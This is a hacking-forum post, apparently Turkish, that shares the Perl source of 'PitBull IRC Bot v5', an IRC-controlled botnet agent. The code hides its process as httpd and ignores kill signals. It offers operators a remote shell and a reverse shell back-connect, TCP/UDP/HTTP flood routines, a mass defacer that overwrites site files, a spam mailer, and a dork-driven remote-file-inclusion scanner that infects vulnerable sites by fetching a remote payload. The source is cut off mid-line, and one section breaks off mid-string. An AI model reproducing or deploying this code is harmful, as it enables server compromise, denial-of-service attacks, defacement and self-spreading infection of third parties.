+ Konu Cevaplama Paneli
Toplam 8 adet sonuctan sayfa basi 1 ile 8 arasi kadar sonuc gösteriliyor

Konu: PitBull IRC Bot v5

  1. #1
    ALBAY red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby has a brilliant future red styLé baby - ait Kullanıcı Resmi (Avatar)
    Üyelik tarihi
    Jul 2006
    Bulunduğu yer
    1stanbuL
    Mesajlar
    3.774
    Forum Katkısı:
    25

    Standart PitBull IRC Bot v5

    Kod:
    #!/usr/bin/perl
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % P1tbull Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    #
    #      ooo      
    #     (o o)    
    # ooO--(_)--Ooo-
    #
    # Hacke Bot Version 5.0 Private FiNAL
    #
    #You can use the following commands :
    #!bot @portscan <ip>
    #!bot @nmap <ip> <beginport> <endport>
    #!bot @back <ip><port>    
    #!bot @udpflood <ip> <packet size> <time>
    #!bot @tcpflood <ip> <port> <packet size> <time>
    #!bot @httpflood <site> <time>
    #!bot @linuxhelp
    #!bot @rfi <vuln> <dork>
    #!bot @system
    #!bot @milw0rm
    #!bot @logcleaner
    #!bot @deface
    #!bot @spread <rfi = for example www.mywebsite.com/index.php?= >
    #!bot @sendmail <subject> <sender> <recipient> <message>
    #!bot @join <#channel>    
    #!bot @part <#channel>
    #!bot @help
    #!bot cd tmp for example
    #!bot !eval <code= for example :@nickname>
    #
    # Greets too :
    #
    # % apai-P1tbull-Piticu %
    #
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    
    ######################
    use HTTP::Request;
    use LWP::UserAgent;
    ######################
    my $processo = '/usr/sbin/httpd';
    ######################
    #####################################################################
    #/!\                          .:CONFIGURATION:.                  /!\#
    #####################################################################
    ############################################
    my $linas_max='10';        
    my $sleep='3';  
    #-----------------                                                        
    #Sleep Time and Max. Lines for Anti Flood  #
    ############################################
    my $cmd=" <-- 0,12Deep inside 7Ur 4Heart 1!";
    my $id="ftp://****/.xpl/id.txt";
    my $spread="ftp://*****/.xpl/hack/id.txt";
    #-----------------    
    #Spreader, ID=Response, CMD = Print CMD    #
    ############################################
    my @adms=("P1tbull","boy","Drago");
    #-----------------                         #
    #Admins of the Bot set your nickname here  #
    ############################################
    my @canais=("#****");
    #-----------------                         #
    #Put your channel here                     #
    ############################################
    my @nickname = ("asc|0-");
    my $nick = $nickname[rand scalar @nickname];
    my $ircname ='asc-rf1';
    chop (my $realname = 'we r0x');
    #-----------------                         #
    #Identity                                  #
    ############################################
    $servidor='SERVER' unless $servidor;
    my $porta='6667';
    #-----------------                         #
    #IRCServer and port                        #
    ############################################
    #####################################################################
    #/!\                          .:CONFIGURATION:.                  /!\#
    #####################################################################
    ######################
    #End of Configuration#
    #                    #
    ######################
    $SIG{'INT'} = 'IGNORE';
    $SIG{'HUP'} = 'IGNORE';
    $SIG{'TERM'} = 'IGNORE';
    $SIG{'CHLD'} = 'IGNORE';
    $SIG{'PS'} = 'IGNORE';
    use IO::Socket;
    use Socket;
    use IO::Select;
    chdir("/");
    
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    
    #Connect
    $servidor="$ARGV[0]" if $ARGV[0];
    $0="$processo"."\0"x16;;
    my $pid=fork;
    exit if $pid;
    die "Masalah fork: $!" unless defined($pid);
    
    our %irc_servers;
    our %DCC;
    my $dcc_sel = new IO::Select->new();
    $sel_cliente = IO::Select->new();
    sub sendraw {
      if ($#_ == '1') {
        my $socket = $_[0];
        print $socket "$_[1]\n";
        } else {
        print $IRC_cur_socket "$_[0]\n";
      }
    }
    
    sub conectar {
      my $meunick = $_[0];
      my $servidor_con = $_[1];
      my $porta_con = $_[2];
      my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
      PeerPort=>$porta_con) or return(1);
      if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_cliente->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
        $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
        $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
        nick("$meunick");
        sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
        sleep 1;
      }
    }
    
    my $line_temp;
    while( 1 ) {
      while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
      delete($irc_servers{''}) if (defined($irc_servers{''}));
      my @ready = $sel_cliente->can_read(0);
      next unless(@ready);
      foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $msg, 4096);
        if ($nread == 0) {
          $sel_cliente->remove($fh);
          $fh->close;
          delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $msg);
        for(my $c=0; $c<= $#lines; $c++) {
    
          $line = $lines[$c];
          $line=$line_temp.$line if ($line_temp);
          $line_temp='';
          $line =~ s/\r$//;
          unless ($c == $#lines) {
            parse("$line");
            } else {
            if ($#lines == 0) {
              parse("$line");
              } elsif ($lines[$c] =~ /\r$/) {
              parse("$line");
              } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
              parse("$line");
                     } else {
                                 $line_temp = $line;
            }
          }
        }
      }
    }
    
    sub parse {
      my $servarg = shift;
      if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
        } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
        if ($args =~ /^\001VERSION\001$/) {
               notice("$pn", "\001VERSION mIRC v6.17 PitBull\001");
        }
        if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
        if ($onde eq "$meunick"){
        shell("$pn", "$args");
      }
      
    #End of Connect
    
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #      PREFIX        #
    #                    #
    ######################
    # You can change the prefix if you want but the commands will be different
    # The standard prefix is !bot if you change it into !bitch for example
    # every command will be like !bitch @udpflood, !bitch @rfi.
    # So its recommended not to change this;)
    ######################
      
      if ($args =~ /^(\Q$meunick\E|\!asc)\s+(.*)/ ) {
        my $natrix = $1;
        my $arg = $2;
        if ($arg =~ /^\!(.*)/) {
          ircase("$pn","$onde","$1") unless ($natrix eq "!asc" and $arg =~ /^\!nick/);
          } elsif ($arg =~ /^\@(.*)/) {
          $ondep = $onde;
          $ondep = $pn if $onde eq $meunick;
          bfunc("$ondep","$1");
          } else {
          shell("$onde", "$arg");
        }
      }
    }
    }
    ######################
    #   End of PREFIX    #
    #                    #
    ######################
    
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
    if (lc($1) eq lc($meunick)) {
      $meunick=$4;
      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    }
    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
    nick("$meunick".int rand(999999));
    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
    $meunick = $2;
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
    foreach my $canal (@canais) {
      sendraw("JOIN $canal ddosit");
    }
    }
    }
    
    sub bfunc {
    my $printl = $_[0];
    my $funcarg = $_[1];
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
      exit;
    } else {
    
    ######################
    #       Help         #
    #                    #
    ######################
    
    if ($funcarg =~ /^help/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 Select the function you want help for");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 4,1@9,1ddos");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1rfiscan");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1backconnect");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1shell");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1portscanner");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 Or if you want too know all the commands type:");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help4,1] 4,1 !bot 1,4@9,1commands");
    
    }
    
    if ($funcarg =~ /^ddos/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1There are DDossers in this bot");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 UDPFlood, HTTPFlood and TCPFlood");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1!bot 1,4@9,1udpflood <ip> <packet size> <time>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@9,1tcpflood <ip> <port> <packet size> <time>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@9,1httpflood <site> <time>");
    
    }
    
    if ($funcarg =~ /^rfiscan/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 This bot also contains a RFI Scanner.");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 Commands :");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1rfi <vuln> <dork>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1You can find strings here : http://www.xshqiptaretx.org/strings.txt ");
    
    }
    
    if ($funcarg =~ /^backconnect/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 You use backconnect like this :");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1back <ip><port>");
    }
    
    if ($funcarg =~ /^shell/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 This bot has a integrated shell");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 You can use it in private but also public in the channel");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 In public channel just use : 4,1!bot cd tmp9,1 for example");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 For help with the linux commands type :4,1!bot 1,4@4,1linuxhelp");
    }
    
    if ($funcarg =~ /^portscanner/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 There is a normal portscan and a Nmap:");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1portscan <ip>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1nmap <ip> <beginport> <endport>");
    }
    
    if ($funcarg =~ /^commands/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 4,1 You can use the following commands :");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1portscan <ip>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1nmap <ip> <beginport> <endport>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1back <ip><port>");    
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 4,1cd tmp 9,1 for example");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1udpflood <ip> <packet size> <time>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1tcpflood <ip> <port> <packet size> <time>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1httpflood <site> <time>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1linuxhelp");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1spread <rfi>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1rfi <vuln> <dork>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1system");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1logcleaner");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1deface");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1sendmail <subject> <sender> <recipient> <message>");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1milw0rm");    
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1!bot 1,4@4,1join #channel");    
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Help9,1] 9,1 !bot 1,4@4,1part #channel");
    }
    
    if ($funcarg =~ /^linuxhelp/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Dir where you are : pwd");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Start a Perl file : perl file.pl");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Go back from dir : cd ..");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Force to Remove a file/dir : rm -rf file/dir;ls -la");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Show all files/dir with permissions : ls -lia");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find config.inc.php files : find / -type f -name config.inc.php");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find all writable folders and files : find / -perm -2 -ls");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1 Find all .htpasswd files : find / -type f -name .htpasswd");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1LiNuX9,1] 9,1 - 4,1Find all service.pwd files : find / -type f -name service.pwd");
    }
    
    ######################
    #   End of  Help     #
    #                    #
    ######################
    if ($funcarg =~ /^spread\s+(.*)/) {
        $vuln = $1;
                                sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Spread9,1] Spreading bot on :4,1 $vuln");
            my $shellurl="http://".$vuln.$spread."?";
                my $reqz=HTTP::Request->new(GET=>$shellurl);
                    my $ua=LWP::UserAgent->new();
                        my $response=$ua->request($reqz);
                                sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Spread9,1] Bot is Spreaded on :4,1 $vuln");
    }
    
    
    ######################
    #   Mass Deface      #
    #                    #
    ######################
    #########################
    # Mass Defacer v2.0     #
    # Coded By illuz1oN     #
    # Modded by Hacke #
    #########################
    
    if ($funcarg =~ /^deface/) {
    $def = ' P1tbull Pwned your BoX ';
    {
    print qq^
    ^;
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Mass Deface Started !");
             sleep(1);
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[4@9,1Deface9,1] Defacing :4,1 .PHP");
           sleep(1);
         my @php = glob("*.php"); #Files
         foreach my $deface(@php){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .HTML");
             sleep(1);      
         my @html = glob("*.html"); #Files
         foreach my $deface(@html){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .ASP");
           sleep(1);
           my @asp = glob("*.asp"); #Files
         foreach my $deface(@asp){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .ASPX");
           sleep(1);
           my @aspx = glob("*.aspx"); #Files
         foreach my $deface(@aspx){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .HTM");
           sleep(1);
           my @htm = glob("*.htm"); #Files
         foreach my $deface(@htm){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }    
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .JS");
           sleep(1);
           my @js = glob("*.js"); #Files
         foreach my $deface(@js){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Defacing :4,1 .AC");
           sleep(1);
           my @ac = glob("*.ac"); #Files
         foreach my $deface(@ac){
         open(DEFACE, '>', $deface);
         print DEFACE $def;
         close(DEFACE)
      }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Deface9,1] Mass Deface is Done !");
      sleep(2);
      exit;
    }}    
    
    ######################
    #End of  Mass Deface #
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #     Commands       #
    #                    #
    ######################
    
    if ($funcarg =~ /^system/) {
    $uname=`uname -a`;$uptime=`uptime`;$ownd=`pwd`;$distro=`cat /etc/issue`;$id=`id`;$un=`uname -sro`;
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Info BOT : 9.1 Servidor :Hiden : 6667");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Uname -a     : 4,1 $uname");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Uptime       : 4,1 $uptime");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Own Prosses  : 4,1 $processo");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1ID           : 4,1$id");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[4@9,1SystemInfo9,1] 4,1Own Dir      : 4,1 $ownd");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1OS           : 4,1 $distro");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1 4,1Owner        : 4,8 P1tbull");
        sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1SystemInfo9,1] 4,1Channel      : 4,8 #private");
    }
    
    if ($funcarg =~ /^milw0rm/) {
        my @ltt=();
        my @bug=();
        my $x;
        my $page="";
        my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
        print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/
    ######################
    #       MAILER       #  
    #                    #
    ######################
    # For mailing use :
    # !bot @sendmail <subject> <sender> <recipient> <message>
    #
    ######################
    if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Mailer4,1] Sending Mail to :4,1 $3");
    $subject = $1;
    $sender = $2;
    $recipient = $3;
    @corpo = $4;
    $mailtype = "content-type: text/html";
    $sendmail = '/usr/sbin/sendmail';
    open (SENDMAIL, "| $sendmail -t");
    print SENDMAIL "$mailtype\n";
    print SENDMAIL "Subject: $subject\n";
    print SENDMAIL "From: $sender\n";
    print SENDMAIL "To: $recipient\n\n";
    print SENDMAIL "@corpo\n\n";
    close (SENDMAIL);
    sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Mailer4,1] Mail Sended To :4,1 $recipient");
    }
    ######################
    #   End of MAILER    #  
    #                    #
    ######################
    ######################
    #  Join And Part     #
    #                    #
    ######################
               if ($funcarg =~ /^join (.*)/) {
                  sendraw($IRC_cur_socket, "JOIN ".$1);
               }
               if ($funcarg =~ /^part (.*)/) {
                  sendraw($IRC_cur_socket, "PART ".$1);
               }
              
    ######################
    #End of Join And Part#
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #     TCPFlood       #
    #                    #
    ######################
    
    if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1TCP-DDOS4,1] Attacking 4,1 ".$1.":".$2." 9,1for 9,1 ".$3." 4,1seconds.");
      my $itime = time;
      my ($cur_time);
      $cur_time = time - $itime;
      while ($3>$cur_time){
      $cur_time = time - $itime;
      &tcpflooder("$1","$2","$3");
    }
    sendraw($IRC_cur_socket,"PRIVMSG $printl :9,1[1,4@9,1TCP-DDOS4,1] Attack done 4,1 ".$1.":".$2.".");
    }
    ######################
    #  End of TCPFlood   #
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #   Back Connect     #
    #                    #
    ######################
    if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
    my $host = "$1";
    my $porta = "$2";
    my $proto = getprotobyname('tcp');
    my $iaddr = inet_aton($host);
    my $paddr = sockaddr_in($porta, $iaddr);
    my $shell = "/bin/sh -i";
    if ($^O eq "MSWin32") {
      $shell = "cmd.exe";
    }
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
    connect(SOCKET, $paddr) or die "connect: $!";
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system("$shell");
    close(STDIN);
    close(STDOUT);
    close(STDERR);
    if ($estatisticas)
    {
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1BackConnect4,1] Connecting to 9,1 $host:$porta");
    }
    }
    ######################
    #End of  Back Connect#
    #                    #
    ######################
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    # % Hacke Pwned your BoX  %
    # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
    ######################
    #    EXTREME SCANNER #
    #                    #
    ######################
    ######################################################################
    #################### GOOGLE
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    ### Start Message
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@4,1Scan9,1] The [E]xtreme RFiScan is started for 4,1$dork");
    ### End of Start Message
    # Starting The Search Engine
        my @google=&googlet($dork);
    #
    push(my @tot, @google);
    #
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11G13o11o13g11l13e9,1 Total:4 ".scalar(@tot)." 9,1Cleaned:4 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 11G13o11o13g11l13e9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9$print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4$print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    }}}
    exit;
    }}
    
    ######################################################################
    #################### AllTheWeb
    ######################################################################
    if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
    if (my $pid = fork) {
    waitpid($pid, 0);
    } else {
    if (fork) {
    exit;
    } else {
    my $bug=$1;
    my $dork=$2;
    my $contatore=0;
    my %hosts;
    # Starting The Search Engine
        my @alltheweb=&allthewebt($dork);
        my @allweb=&standard($dork);
    #
    push(my @tot, @alltheweb, @allweb);
    #
    my @puliti=&unici(@tot);
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 12A4ll8T12he4W8eb9,1 Total:9,1 ".scalar(@tot)." 4,1Cleaned:9,1 ".scalar(@puliti)." 9,1for 4,1 $dork ");
    my $uni=scalar(@puliti);
    foreach my $sito (@puliti)
    {
    $contatore++;
    if ($contatore %100==0){
    }
    if ($contatore==$uni-1){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :9,1[1,4@9,1Scan9,1] 12A4ll8T12he4W8eb9,1 finished for4,1 $dork");
    }
    ### Print CMD and TEST CMD###
    my $test="http://".$sito.$bug.$id."?";
    my $print="http://".$sito.$bug.$cmd."?";
    ### End of Print CMD and TEST CMD###
    my $req=HTTP::Request->new(GET=>$test);
    my $ua=LWP::UserAgent->new();
    $ua->timeout(5);
    my $response=$ua->request($req);
    if ($response->is_success) {
    my $re=$response->content;
    if($re =~ /Mic22/ && $re =~ /uid=/){
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,9[1,9@1,9Vuln1,9] 1,9(1,9SafeMode:1,9OFF1,9) 1,9(1,9Site:12,9 $print 1,9) ");
      sendraw($IRC_cur_socket, "PRIVMSG P1tbull : $print ");
      my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
    my $ua=LWP::UserAgent->new();
    my $response=$ua->request($reqz);
    }}
    elsif($re =~ /Mic22/)
    {
    my $hs=geths($print); $hosts{$hs}++;
    if($hosts{$hs}=="1"){
      sendraw($IRC_cur_socket, "PRIVMSG $printl :1,4[1,4@1,4Vuln1,4] 1,4(1,4SafeMode:1,4ON1,4) 1,4(1,4Site:12,4 $print 1,4) ");
    my $test2="http://".$sito.$bug.$spread."?";
    my $reqz=HTTP::Request->new(GET=>$test2);
